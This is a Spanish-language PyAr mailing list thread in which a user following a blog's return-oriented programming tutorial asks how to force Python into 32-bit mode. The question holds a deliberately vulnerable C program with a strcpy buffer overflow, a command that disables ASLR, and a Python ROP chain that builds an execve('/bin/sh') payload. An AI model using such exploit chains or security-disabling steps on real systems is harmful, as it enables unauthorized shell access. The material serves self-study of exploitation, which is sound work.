[pyar] ¿Hay alguna forma de forzar a python para que funcione en 32 bits?

Alberto Perez ksian1685 en gmail.com
Lun Ago 17 22:45:47 ART 2015


Gracias por contestar. De todos modos, el autor del blog donde estaban als
instrucciones me aclaró que posiblemente en 64 bits existan otros tipo de
problemas. Así que lo probaré más adelante en una maquina virtual

El 17 de agosto de 2015, 15:19, Joaquin Duo <joaduo en gmail.com> escribió:

> En linux podés instalar un entorno de 32 bits (dentro de un OS de 64bits)
>
>
> http://askubuntu.com/questions/297151/how-to-run-32-bit-programs-on-a-64-bit-system
>
> En este caso creo que deberías poder instalar el paquete de python de 32
> bits y correr ese python.
> Te respondo la generalidad porque no lo he hecho, pero obviamente se puede
> (porque cualquier programa de 32bits puede correr, por ejemplo el skype)
>
> Vas a tener que buscar en internet cómo instalar paquetes de 32bits,
> seguro que sale
>
> Saludos!
> Joaquín
>
>
> 2015-08-16 21:22 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>
>> No estoy seguro que tenga que ver con python, pero seguro ustedes sí.
>> Resulta que estaba siguiendo las instrucciones de un blogger: (
>> http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
>> )
>> 1-hice el código en c (que compilé agregando gcc -m32 porque lo estoy
>> ejecutando en una maquina de 32 bits):
>>
>> #include <stdio.h>
>> #include <string.h>
>>
>> void saluda (char * texto){
>>     char nombre[250];
>>     strcpy(nombre, texto);
>>     printf("hola %s\n", nombre);
>> }
>>
>> int main (int argc, char **argv){
>>     saluda(argv[1]);
>>     return 0;
>> }
>>
>> 2- modifiqué la configuracion de mi computadora:
>> echo "0" > /proc/sys/kernel/randomize_va_space
>>
>> 3-hice el exploit en python:
>>
>> from struct import pack
>>
>>
>> ex = 'A'*262
>> ex += pack('I',0x080e1db9) #pop %eax
>> ex += '/bin'
>> ex += pack('I',0x0806e39a) #pop %edx
>> ex += pack('I',0x080e99a0) #.data
>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>> ex += pack('I',0x080e1db9) #pop %eax
>> ex += '/sh#'
>> ex += pack('I',0x0806e39a) #pop %edx
>> ex += pack('I',0x080e99a4) #.data+4
>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>> ex += pack('I',0x0806e39a) #pop %edx
>> ex += pack('I',0x080e99a7) #.data+7
>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>> ex += pack('I',0x0806e3c1) #pop %ecx; pop %ebx
>> ex += pack('I',0x080e99a7) #.data+7
>> ex += pack('I',0x080e99a0) #.data
>> ex += pack('I',0x0806e39a) #pop %edx
>> ex += pack('I',0x080e99a7) #.data+7
>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>> for i in range(int("0xb",16)):
>>         ex += pack('I',0x0805c5fc) #inc %eax;pop %edi
>>         ex += '####'
>>
>> ex += pack('I',0x806ea30) #int 0x80
>>
>> print ex
>>
>> resulta que no funciona y se me ocurre que puede ser porque estoy usando
>> python de arquitectura de 64 bits. ¿Hay alguna forma de forzar a python
>> para que funcione en 32 bits?
>> gracias.
>>
>>
>>
>> _______________________________________________
>> pyar mailing list pyar en python.org.ar
>> http://listas.python.org.ar/listinfo/pyar
>>
>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>
>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>> Argentina - http://www.usla.org.ar
>>
>
>
> _______________________________________________
> pyar mailing list pyar en python.org.ar
> http://listas.python.org.ar/listinfo/pyar
>
> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>
> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
> Argentina - http://www.usla.org.ar
>
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: <http://listas.python.org.ar/pipermail/pyar/attachments/20150817/0cfad50b/attachment.html>


More information about the pyar mailing list